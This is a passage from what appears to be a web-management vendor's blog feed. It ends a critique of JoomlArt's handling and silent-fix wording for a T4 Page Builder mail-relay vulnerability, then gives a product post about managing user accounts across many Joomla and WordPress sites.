recipient on the thread since 18 August. We asked for it ourselves on 3 September and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-78374/&quot;&gt;CVE-2026-78374&lt;/a&gt; was assigned on 10 September.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;12. Credit the security researcher&lt;/td&gt;&lt;td&gt;“Always offer appropriate credit to the reporter”&lt;/td&gt;&lt;td&gt;Not offered, not discussed, not given.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;13. Publish a security advisory&lt;/td&gt;&lt;td&gt;A dedicated advisory, separate from the changelog&lt;/td&gt;&lt;td&gt;A blog post and a changelog. No advisory.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;14. Tell users what they need to do&lt;/td&gt;&lt;td&gt;State the affected versions, the fixed version and the recommended action&lt;/td&gt;&lt;td&gt;Fixed version and recommended action, yes. Affected versions, never stated at all.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;17. Do not hide security fixes in vague language&lt;/td&gt;&lt;td&gt;Name the class of flaw that was fixed&lt;/td&gt;&lt;td&gt;An open mail relay is described as “Safer recipients”.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;18. Preserve the disclosure timeline&lt;/td&gt;&lt;td&gt;The model timeline includes “Fix provided to reporter for verification”&lt;/td&gt;&lt;td&gt;No pre-release build was offered. We verified against the public package, six days late.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The pre-release build is the one item on that list where no standard actually obliges anybody, so it is worth saying so rather than dressing it up. It is a strong recommendation in FIRST’s PSIRT Services Framework, which says to provide the remedy to the finder so they can validate it, and it is step five of the CERT guide’s ideal flow.&lt;/p&gt;
&lt;p&gt;Skipping it is also how a vendor ends up shipping the same fix twice, and we have watched that happen all year. PageBuilder CK answered an unauthenticated file-upload remote code execution with a login check in 3.6.0, which still left any Editor able to run code; &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-file-upload-rce-incomplete-fix/&quot;&gt;the real fix came in 3.6.3, and 3.6.5 was the version people actually needed&lt;/a&gt;. &lt;a href=&quot;https://mysites.guru/blog/cotton-cloud-incomplete-security-fix/&quot;&gt;Cotton Cloud’s first release closed the login route and left the data reachable&lt;/a&gt;, so a second one had to follow. JoomShaper shipped SP Page Builder 6.7.1 as the fix, then &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-mail-relay-disclosure/&quot;&gt;6.8.0 sixteen days later&lt;/a&gt; for the flaw 6.7.1 had not closed. Each of those rounds is another emergency update for administrators who had already dropped everything to apply the last one, and there is a limit to how often you can ask people to do that before they stop treating your security releases as urgent at all.&lt;/p&gt;
&lt;p&gt;A researcher who has just spent an afternoon proving a bug is the cheapest quality assurance a vendor will ever be offered, and the offer expires the moment the release goes public. JoomlArt got this one right first time, which is worth saying. They had no way of knowing that before they shipped it.&lt;/p&gt;
&lt;p&gt;Rule 14 is the one that costs site owners real money, because a reader on 2.1.1 has no way to learn from that announcement whether it concerns them.&lt;/p&gt;
&lt;h2&gt;Calling a Mail Relay “Safer Recipients” Has a Cost&lt;/h2&gt;
&lt;p&gt;The T4 Page Builder 2.3.0 announcement runs to about 5,000 characters. Across all of it, these words appear zero times: vulnerability, exploit, relay, attacker, advisory, severity, CVE, report, researcher, credit, disclosure, discovered.&lt;/p&gt;
&lt;p&gt;The relay is introduced as “Safer recipients: Hardened anonymous contact submissions to prevent arbitrary recipient addresses from being supplied through requests”, and later as “The contact workflow no longer trusts recipient addresses supplied directly through anonymous requests”. The section explaining why the update matters frames the whole release around “spam and automated abuse”. Nothing tells a reader that a fortnight earlier someone was using their site to send mail.&lt;/p&gt;
&lt;p&gt;The word “unauthenticated” does appear, three times. Every one of them describes the AcyMailing subscribe task, the least severe of the four issues. The vocabulary was available. It simply was not applied to the mail relay.&lt;/p&gt;
&lt;p&gt;None of this is a case of protecting users by withholding detail, which is the reasonable defence and the one the Joomla Extensions Directory explicitly endorses when it tells vendors not to publish vulnerability details. The directory’s test asks something else entirely: whether “any reasonably intelligent person reading the notice would understand that there is a new version available, that it is a security release, and that users need to update”. The first and third of those are satisfied here. The second is what “safer recipients” removes, and the joint guide that CISA, the NSA, JPCERT/CC and the Dutch and UK cyber security centres published in July 2026 has a name for the result: a silent fix, defined there as a release that fixes a vulnerability without mentioning its existence, and singled out because such releases are far less likely to be deployed.&lt;/p&gt;
&lt;p&gt;Which brings it back to five in six. We cannot prove those two facts are connected on a sample this size, and we are not going to pretend otherwise. But the mechanism is not mysterious. An administrator triaging a fortnight of extension updates is deciding, one line at a time, what to do today and what to do eventually.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;p&gt;“Safer recipients: Hardened anonymous contact submissions to prevent arbitrary recipient addresses from being supplied through requests.”&lt;/p&gt;&lt;p&gt;Scheduled for whenever.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;“Your contact form can be used to send phishing from your domain. Update now.”&lt;/p&gt;&lt;p&gt;Done before lunch.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The line on the left is JoomlArt&apos;s, verbatim from the T4 Page Builder 2.3.0 changelog. The line on the right is not. It describes the same fix.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;What This Means for Anyone Running JoomlArt Extensions&lt;/h2&gt;
&lt;p&gt;T4 Page Builder is a small corner of JoomlArt’s presence. Their T4 and T3 template frameworks sit under roughly thirty-five times as many of the Joomla sites we monitor as the page builder does, which is why the process questions here matter more than this one component. A vendor whose security contact route drops reports, who ships fixes without telling the reporter, and who describes a mail relay as a recipient improvement is going to do those things again, on frameworks with a far larger footprint.&lt;/p&gt;
&lt;p&gt;The practical response is to stop relying on vendors to tell you when something matters, rather than to stop using JoomlArt extensions, which are good and widely deployed for good reasons. Watch the versions, not the announcements. Treat any extension release you cannot explain as one worth reading about, keep an inventory you can query in one place rather than fifty, and update the security ones the day they appear.&lt;/p&gt;
&lt;p&gt;For JoomlArt specifically, four things would close most of this permanently, and three of them are an afternoon’s work: publish a &lt;code&gt;security.txt&lt;/code&gt; and a security contact that reaches a human, fix the &lt;code&gt;/contact&lt;/code&gt; redirect that currently points at a developer’s laptop, state affected versions in release announcements, and request a CVE from &lt;code&gt;security@joomla.org&lt;/code&gt; when a release fixes a vulnerability rather than leaving the reporter to ask for it. The Joomla project runs the CNA and has published the instructions. The fix in 2.3.0 shows the engineering is there. It is the paperwork around it that let this one down.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-08-17&lt;/strong&gt; Unauthenticated mail relay found on a live client site Traced during an investigation into a Joomla site that was already being abused. Reported the same evening to JoomlArt&apos;s support address and to the Joomla Security Strike Team, with the vulnerable code path, the hardcoded credential and a suggested fix. JoomlArt does not reply to the direct report.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-18&lt;/strong&gt; The Joomla Security Strike Team relays the report, and JoomlArt answers in ten minutes David Jardin forwards the report at 11:01, noting that the reporter had tried to reach JoomlArt beforehand without luck. JoomlArt&apos;s support replies at 11:11: they take it very seriously given the active exploitation, and are sending it straight to their dev team. It is a good answer, and it is the last one for a fortnight.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-28&lt;/strong&gt; JoomlArt publishes T4 Page Builder 2.3.0 The announcement describes security hardening for contact and subscription forms and tells users to upgrade. It names no vulnerability, no affected versions, no CVE and no reporter. We are not told it has shipped.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-28&lt;/strong&gt; mySites.guru flags every connected site below 2.3.0 Our vulnerability rule was written from the vendor changelog and dated to the release, so subscribers running an affected version were told on the day. The first updated install appeared in our data that afternoon.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-01&lt;/strong&gt; The Joomla Security Strike Team chases for an update &quot;Two weeks is a rather lengthy response time for an actively exploited issue.&quot; We confirm the same evening that we have heard nothing since 18 August.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-03&lt;/strong&gt; JoomlArt replies, six days after the fix shipped &quot;We should have notified you directly as soon as the fix was released, rather than leaving you to follow up.&quot; The reply points at the release announcement as the answer. There is still no advisory, no CVE and no credit.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-03&lt;/strong&gt; We verify the fix by auditing the released package Read the shipped 2.3.0 component rather than taking the changelog&apos;s word for it. All four reported issues are closed, and the hardcoded Mailchimp key is gone from the package.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-10&lt;/strong&gt; The Joomla CNA assigns CVE-2026-78374 Issued a week after we asked the Strike Team for it on the same thread, and thirteen days after the fix shipped. JoomlArt never requested one. The record is reserved rather than published, so it does not resolve at MITRE or in the NVD yet, and the release announcement still credits no reporter.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlart.com/blog/news-updates/t4-page-builder-2-3-0-released-security-hardening-and-admin-improvements&quot;&gt;T4 Page Builder 2.3.0 Released: Security Hardening and Admin Improvements&lt;/a&gt; - JoomlArt&apos;s own announcement, and the only public description of the release.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/next/building-extensions/security/&quot;&gt;Building Extensions: Security&lt;/a&gt; - the Joomla Manual&apos;s twenty rules for handling a security report, written by the Team Leader of the Joomla Security Strike Team.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/about-security-releases/&quot;&gt;What Does A Security Release Notice Look Like?&lt;/a&gt; - the Joomla Extensions Directory&apos;s own test for a security announcement, and its advice that vendors should not publish exploit detail.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cisa.gov/resources-tools/resources/establishing-coordinated-vulnerability-disclosure-program-work-security-researchers&quot;&gt;Establishing a Coordinated Vulnerability Disclosure Program&lt;/a&gt; - the July 2026 joint guide from CISA, the NSA, JPCERT/CC and the Dutch and UK national cyber security centres, which names the silent fix as a practice to avoid.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://certcc.github.io/CERT-Guide-to-CVD/&quot;&gt;CERT Guide to Coordinated Vulnerability Disclosure&lt;/a&gt; - the reference text on coordinated disclosure, including the Avoid Surprise principle.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/352.html&quot;&gt;CWE-352: Cross-Site Request Forgery&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/798.html&quot;&gt;CWE-798: Use of Hard-coded Credentials&lt;/a&gt; - the two weakness classes in this release.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>t4pagebuilder</category><category>joomlart</category><category>csrf</category><category>responsible disclosure</category><category>extensions</category><enclosure url="https://mysites.guru/img/og/blog/t4-page-builder-2-3-0-mail-relay-fix.png" length="0" type="image/png"/></item><item><title>One Search Finds That User on Every Site You Manage</title><link>https://mysites.guru/blog/manage-users-across-every-joomla-and-wordpress-site/</link><guid isPermaLink="true">https://mysites.guru/blog/manage-users-across-every-joomla-and-wordpress-site/</guid><description>Search one person across every connected Joomla and WordPress site, then add, edit, block or delete accounts and change group membership without logging in.</description><pubDate>Wed, 02 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;What the rebuilt mySites.guru universal user manager does&lt;/h2&gt;
&lt;p&gt;Every connected site now has a full user manager on its own page inside mySites.guru: a live list of that site’s accounts with search, filters and paging, and the ability to add, edit, block, unblock and delete accounts and change their group membership. You never log in to the site itself.&lt;/p&gt;
&lt;p&gt;Then there is the portfolio-wide search. One box, one string, matched against username, name and email address on every connected Joomla and WordPress site at once. Use the site page when you know which site you are fixing, and the search when you know the person but not the sites.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/universal-user-manager-per-site-joomla-screenshot.Bo0b02Xn_Z1ebp1v.webp&quot; srcset=&quot;https://mysites.guru/_astro/universal-user-manager-per-site-joomla-screenshot.Bo0b02Xn_Z1i0fue.webp 640w, https://mysites.guru/_astro/universal-user-manager-per-site-joomla-screenshot.Bo0b02Xn_ZDJbq6.webp 750w, https://mysites.guru/_astro/universal-user-manager-per-site-joomla-screenshot.Bo0b02Xn_1jHy4O.webp 828w, https://mysites.guru/_astro/universal-user-manager-per-site-joomla-screenshot.Bo0b02Xn_1QzWn8.webp 1080w, https://mysites.guru/_astro/universal-user-manager-per-site-joomla-screenshot.Bo0b02Xn_Z2thojA.webp 1280w, https://mysites.guru/_astro/universal-user-manager-per-site-joomla-screenshot.Bo0b02Xn_Z253YGl.webp 1668w, https://mysites.guru/_astro/universal-user-manager-per-site-joomla-screenshot.Bo0b02Xn_ZFvaHc.webp 2048w, https://mysites.guru/_astro/universal-user-manager-per-site-joomla-screenshot.Bo0b02Xn_Z1ebp1v.webp 2400w&quot; alt=&quot;The mySites.guru per-site user manager showing a Joomla client site&apos;s accounts, with username, name, email, user group, last login, registered date and status columns, and filter chips for All, Active, Blocked, Unactivated and Super admins&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2400px) 2400px, 100vw&quot; width=&quot;2400&quot; height=&quot;817&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;The list is read from your site at the moment you open it, every time. &lt;a href=&quot;https://mysites.guru/blog/is-it-safe-to-connect-client-sites-to-mysites-guru/&quot;&gt;mySites.guru stores no copy of your users&lt;/a&gt;, and the page says so above the table. Sorting, the filter chips along the top, and the column picker all work on that live list. Sites with very large user tables stop counting at 5,000 and tell you they have done so, so a forum with half a million registered accounts cannot hang the page while you are trying to find one person.&lt;/p&gt;
&lt;h2&gt;Why that list is so hard to produce&lt;/h2&gt;
&lt;p&gt;A developer finished a project for you eighteen months ago. They were given an administrator account on the client’s site so they could get the work done, and it stayed there, because taking it away meant logging in to that site, finding the user list and remembering why the account was there. Multiply that by every contractor, every agency hire, every “can you just give me access for an hour” since 2019, and you have the honest answer to how many people can currently log in to your clients’ websites: no one knows.&lt;/p&gt;
&lt;p&gt;The awkward part is not the cleanup. It is that you cannot even produce the list. Your identity provider covers email, chat and the billing dashboard, and covers precisely none of the two hundred separate WordPress and Joomla installs you look after, each with its own database, its own user table and its own set of numeric user ids that have nothing to do with each other. The same person exists on forty of those sites as forty unrelated rows. Matching those rows to one another is the actual problem, and a search that asks every site at once is the only thing that solves it.&lt;/p&gt;
&lt;h2&gt;Everything it can do&lt;/h2&gt;
&lt;h3&gt;On a single site&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Add a user, setting name, username, email, password and groups in one step&lt;/li&gt;
&lt;li&gt;Edit an existing account’s name, username and email address&lt;/li&gt;
&lt;li&gt;Set a new password, written straight to the site and never stored here&lt;/li&gt;
&lt;li&gt;Change group membership: several groups at once on Joomla, one role on WordPress&lt;/li&gt;
&lt;li&gt;Block and unblock an account (Joomla only, see below)&lt;/li&gt;
&lt;li&gt;Delete an account, choosing what happens to its content on WordPress&lt;/li&gt;
&lt;li&gt;Search that site’s users by username, name or email address&lt;/li&gt;
&lt;li&gt;Filter by all, active, unactivated, super admins, and blocked on Joomla&lt;/li&gt;
&lt;li&gt;Sort by any column, and choose which columns are shown&lt;/li&gt;
&lt;li&gt;See last login and registration date per account, on Joomla&lt;/li&gt;
&lt;li&gt;Page through large sites, 50 accounts at a time and up to 200&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Across every site at once&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Search every connected Joomla and WordPress site for a username, name or email address&lt;/li&gt;
&lt;li&gt;See every site that person holds an account on, with last login, registration date and status&lt;/li&gt;
&lt;li&gt;Change name, username, email address and password across every site you tick, in one action&lt;/li&gt;
&lt;li&gt;Block and unblock across the ticked Joomla sites&lt;/li&gt;
&lt;li&gt;Edit one account on its own if a single site needs different treatment&lt;/li&gt;
&lt;li&gt;Export the results to CSV&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;What it will not do&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Delete the last remaining Super User or Administrator on a site&lt;/li&gt;
&lt;li&gt;Leave an account belonging to no group at all&lt;/li&gt;
&lt;li&gt;Delete anything without you retyping your own mySites.guru password&lt;/li&gt;
&lt;li&gt;Block a WordPress account, which WordPress has no way to express&lt;/li&gt;
&lt;li&gt;Change groups or roles from the cross-site search, because group ids differ per site&lt;/li&gt;
&lt;li&gt;Remove two-factor authentication from an account, or retrieve backup codes&lt;/li&gt;
&lt;li&gt;Store anything about your users, including any password you set&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Every action on a single account&lt;/h2&gt;
&lt;p&gt;Each row has one actions menu rather than a row of competing buttons.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/universal-user-manager-row-actions-screenshot.BHJ1l_fJ_Z1joo7V.webp&quot; srcset=&quot;https://mysites.guru/_astro/universal-user-manager-row-actions-screenshot.BHJ1l_fJ_ZqfIaq.webp 640w, https://mysites.guru/_astro/universal-user-manager-row-actions-screenshot.BHJ1l_fJ_iY356.webp 750w, https://mysites.guru/_astro/universal-user-manager-row-actions-screenshot.BHJ1l_fJ_Z2wsf0g.webp 828w, https://mysites.guru/_astro/universal-user-manager-row-actions-screenshot.BHJ1l_fJ_2riBIe.webp 1080w, https://mysites.guru/_astro/universal-user-manager-row-actions-screenshot.BHJ1l_fJ_Z2gjIrA.webp 1280w, https://mysites.guru/_astro/universal-user-manager-row-actions-screenshot.BHJ1l_fJ_Z1c1hhW.webp 1668w, https://mysites.guru/_astro/universal-user-manager-row-actions-screenshot.BHJ1l_fJ_Z2rU5lk.webp 2048w, https://mysites.guru/_astro/universal-user-manager-row-actions-screenshot.BHJ1l_fJ_Z1joo7V.webp 2400w&quot; alt=&quot;The row actions menu open on a Joomla user in mySites.guru, offering Edit, Password, Block and Delete, with Delete in red&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2400px) 2400px, 100vw&quot; width=&quot;2400&quot; height=&quot;791&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Edit opens one editor that serves both creating and changing an account. The left column is the account itself: name, username, email, and on Joomla the block switch. The right column is group membership, and it is read live from the site the moment the editor opens rather than from anything cached, because a group added on the site last week has to be there when you look.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/universal-user-manager-edit-groups-screenshot.E2NB5Ue4_Z2mPxNy.webp&quot; srcset=&quot;https://mysites.guru/_astro/universal-user-manager-edit-groups-screenshot.E2NB5Ue4_UtGU8.webp 640w, https://mysites.guru/_astro/universal-user-manager-edit-groups-screenshot.E2NB5Ue4_T9Aqp.webp 750w, https://mysites.guru/_astro/universal-user-manager-edit-groups-screenshot.E2NB5Ue4_3esOd.webp 828w, https://mysites.guru/_astro/universal-user-manager-edit-groups-screenshot.E2NB5Ue4_MVS4X.webp 1080w, https://mysites.guru/_astro/universal-user-manager-edit-groups-screenshot.E2NB5Ue4_Z29Qw59.webp 1280w, https://mysites.guru/_astro/universal-user-manager-edit-groups-screenshot.E2NB5Ue4_Z1YHUFv.webp 1668w, https://mysites.guru/_astro/universal-user-manager-edit-groups-screenshot.E2NB5Ue4_Z1URSg6.webp 2048w, https://mysites.guru/_astro/universal-user-manager-edit-groups-screenshot.E2NB5Ue4_Z2mPxNy.webp 2400w&quot; alt=&quot;The mySites.guru user editor showing account details on the left and a Group membership list on the right with Super Users ticked, read live from the site&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2400px) 2400px, 100vw&quot; width=&quot;2400&quot; height=&quot;1930&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Two guard rails stop a bad afternoon becoming a catastrophic one. You cannot save an account into no group at all: an account with no group can still sign in, reaches no part of the site once it does, and disappears from every group filter you might use to find it again, which is a miserable state to leave a client’s site in. And you cannot delete the last remaining Super User or Administrator. mySites.guru counts the remaining admins before the delete and stops there, then checks again inside the transaction on the site itself and rolls back if the answer changed. Deleting an account also asks for your own mySites.guru password first, every time, no matter how recently you logged in.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;These changes are written straight to your site&lt;/p&gt;&lt;div&gt;&lt;p&gt;There is no staging step and no automatic backup taken first. A password you set is written to the site immediately and is never stored in mySites.guru, which means the tool cannot tell you later what it was. Treat it exactly as you would treat editing the user directly in the site’s own admin.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Joomla has a block switch, WordPress does not&lt;/h2&gt;
&lt;p&gt;This is the one place where the two platforms cannot be made to behave the same way, and pretending otherwise would be worse than explaining it.&lt;/p&gt;
&lt;p&gt;Joomla has a real &lt;code&gt;block&lt;/code&gt; column on the user table. Blocking is a first-class thing you can do to an account, and mySites.guru sets it. WordPress has no such concept. There is no supported way to mark a WordPress account as blocked, so mySites.guru does not offer a Block button on WordPress sites, and stops the action before it ever reaches the site rather than writing something ambiguous and calling it success.&lt;/p&gt;
&lt;p&gt;What WordPress does have is accounts holding no role at all. Those can still sign in and can then do nothing, which is the closest native equivalent. mySites.guru reads that state and shows it as a “No role” badge, and the blocked filter finds those accounts, so the visibility is there even though the switch is not.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/universal-user-manager-per-site-wordpress-screenshot.CR6TS_RJ_cfTEw.webp&quot; srcset=&quot;https://mysites.guru/_astro/universal-user-manager-per-site-wordpress-screenshot.CR6TS_RJ_Ml675.webp 640w, https://mysites.guru/_astro/universal-user-manager-per-site-wordpress-screenshot.CR6TS_RJ_Z1T7EGD.webp 750w, https://mysites.guru/_astro/universal-user-manager-per-site-wordpress-screenshot.CR6TS_RJ_Z1QRNe9.webp 828w, https://mysites.guru/_astro/universal-user-manager-per-site-wordpress-screenshot.CR6TS_RJ_23FkXL.webp 1080w, https://mysites.guru/_astro/universal-user-manager-per-site-wordpress-screenshot.CR6TS_RJ_Z14aD9J.webp 1280w, https://mysites.guru/_astro/universal-user-manager-per-site-wordpress-screenshot.CR6TS_RJ_Z1p5vzF.webp 1668w, https://mysites.guru/_astro/universal-user-manager-per-site-wordpress-screenshot.CR6TS_RJ_Z1CigVm.webp 2048w, https://mysites.guru/_astro/universal-user-manager-per-site-wordpress-screenshot.CR6TS_RJ_cfTEw.webp 2400w&quot; alt=&quot;The mySites.guru user manager on a WordPress site, showing an account with a red No role badge, an empty Last login column, and no Blocked filter chip&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2400px) 2400px, 100vw&quot; width=&quot;2400&quot; height=&quot;817&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;The Last login column is empty on every WordPress row for the same reason: WordPress does not record it. Joomla does, and it is the single most useful column on this screen, which the next section explains.&lt;/p&gt;
&lt;p&gt;WordPress support for the full set of user actions shipped on 1 September 2026. Before that the WordPress connector could answer a search but not a browse or a write, so in practice this was a Joomla feature with a WordPress-shaped hole in it. That hole is closed.&lt;/p&gt;
&lt;h2&gt;What the accounts on client sites actually look like&lt;/h2&gt;
&lt;p&gt;We audit a large number of Joomla and WordPress sites, and the per-check results give a reasonable picture of what user accounts look like in the wild. These are the figures from the 30 days to 2 September 2026.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;56.8%&lt;/div&gt;&lt;div&gt;of Joomla sites have more than one account with full control&lt;/div&gt;&lt;div&gt;68.3% on WordPress&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;67.7%&lt;/div&gt;&lt;div&gt;of Joomla sites have accounts unused for 180 days or more&lt;/div&gt;&lt;div&gt;52.1% on WordPress&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;88.4%&lt;/div&gt;&lt;div&gt;of Joomla sites have no Super User with MFA switched on&lt;/div&gt;&lt;div&gt;not one of them&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;47.9%&lt;/div&gt;&lt;div&gt;of Joomla sites have both extra Super Users and dormant accounts&lt;/div&gt;&lt;div&gt;41.7% on WordPress&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Measured across the Joomla and WordPress sites mySites.guru audited in the 30 days to 2 September 2026. Percentages are of sites where the check actually ran, and checks that apply only to certain versions are counted only against those versions.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;The median Joomla site and the median WordPress site each have two accounts with full control. At the ninetieth percentile it is five. So the agency owner who believes there is one administrator on a client site is wrong more often than not, and has no practical way to find out without opening every site in turn.&lt;/p&gt;
&lt;p&gt;The dormancy figure is the one that matters for offboarding. Two thirds of Joomla sites have at least one account that has not been used in six months, and at the ninetieth percentile a Joomla site has nineteen of them. Those accounts are not exotic. They are the old contractor, the agency hire who left, the client’s former marketing manager, and the migration account somebody created in 2023 and never removed.&lt;/p&gt;
&lt;p&gt;The alarming failures are rare. MD5 password hashes, which Joomla never creates itself and which usually point at a compromise, appear on 1.8% of Joomla sites. Actual rogue Super Admin accounts matching a known attacker signature appear on 0.03%. Sites are not generally on fire. The problem is duller than that: 78.3% of Joomla sites and 79.5% of WordPress sites fail at least one basic user hygiene check, and only 21.7% of Joomla sites are clean on all six. The accounts pile up because, until now, seeing across a hundred sites at once meant opening a hundred sites.&lt;/p&gt;
&lt;h2&gt;One search, every site you manage&lt;/h2&gt;
&lt;p&gt;Type a username, a name or an email address. mySites.guru asks every connected site at once and streams the answers back as they arrive.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/universal-user-manager-cross-site-search-screenshot.Da22b9rz_Z2dEhK3.webp&quot; srcset=&quot;https://mysites.guru/_astro/universal-user-manager-cross-site-search-screenshot.Da22b9rz_Z4l5fO.webp 640w, https://mysites.guru/_astro/universal-user-manager-cross-site-search-screenshot.Da22b9rz_PAvC.webp 750w, https://mysites.guru/_astro/universal-user-manager-cross-site-search-screenshot.Da22b9rz_1X6ya5.webp 828w, https://mysites.guru/_astro/universal-user-manager-cross-site-search-screenshot.Da22b9rz_2gRYJQ.webp 1080w, https://mysites.guru/_astro/universal-user-manager-cross-site-search-screenshot.Da22b9rz_Z2lteli.webp 1280w, https://mysites.guru/_astro/universal-user-manager-cross-site-search-screenshot.Da22b9rz_4vUpw.webp 1668w, https://mysites.guru/_astro/universal-user-manager-cross-site-search-screenshot.Da22b9rz_Z1EMAcG.webp 2048w, https://mysites.guru/_astro/universal-user-manager-cross-site-search-screenshot.Da22b9rz_Z2dEhK3.webp 2400w&quot; alt=&quot;The mySites.guru cross-site user search showing one person found on seven different client sites, with site, name, username, email, last login, registered and status columns, and every row ticked&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2400px) 2400px, 100vw&quot; width=&quot;2400&quot; height=&quot;1436&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;The result is the list you could not previously produce: one person, and every site they still have an account on, with the last login and registration date beside each one. Sort by last login and the dormant access shows itself immediately. There is a CSV export if you want the list somewhere else, and an Edit button per row if one site needs different treatment from the others.&lt;/p&gt;
&lt;p&gt;The search takes one string and matches it as a partial against username, name and email together, so there is no separate “search by email domain only” mode. And Generic PHP sites connected to mySites.guru are excluded, because that connector has no user methods at all; the page names the exclusion rather than leaving them out without saying so.&lt;/p&gt;
&lt;h2&gt;Offboarding in a single pass&lt;/h2&gt;
&lt;p&gt;Tick the sites you want and a panel appears under the results.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/universal-user-manager-bulk-changes-screenshot.LMLgesVx_1YbI9R.webp&quot; srcset=&quot;https://mysites.guru/_astro/universal-user-manager-bulk-changes-screenshot.LMLgesVx_Z15xEI0.webp 640w, https://mysites.guru/_astro/universal-user-manager-bulk-changes-screenshot.LMLgesVx_Z6qLWi.webp 750w, https://mysites.guru/_astro/universal-user-manager-bulk-changes-screenshot.LMLgesVx_qR7xi.webp 828w, https://mysites.guru/_astro/universal-user-manager-bulk-changes-screenshot.LMLgesVx_Z2hU8ye.webp 1080w, https://mysites.guru/_astro/universal-user-manager-bulk-changes-screenshot.LMLgesVx_W2Ix7.webp 1280w, https://mysites.guru/_astro/universal-user-manager-bulk-changes-screenshot.LMLgesVx_ZcTXCo.webp 1668w, https://mysites.guru/_astro/universal-user-manager-bulk-changes-screenshot.LMLgesVx_Z2kcC26.webp 2048w, https://mysites.guru/_astro/universal-user-manager-bulk-changes-screenshot.LMLgesVx_1YbI9R.webp 2400w&quot; alt=&quot;The Change every ticked account panel in mySites.guru, with Name, Username, Email and New password fields, a warning that the change cannot be undone, and Save, Block and Unblock buttons&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2400px) 2400px, 100vw&quot; width=&quot;2400&quot; height=&quot;783&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Four fields, and an empty box leaves that field alone. Type a new password and it goes to every ticked site. Change the email address and the same person’s account is updated everywhere at once, which is the mundane version of this job: somebody changes their surname, or moves from a personal address to a company one, and it needs correcting on a hundred sites.&lt;/p&gt;
&lt;p&gt;Block and Unblock sit beside the save button and apply to Joomla accounts only, with WordPress rows left untouched. The panel says that on screen rather than leaving you to discover it afterwards.&lt;/p&gt;
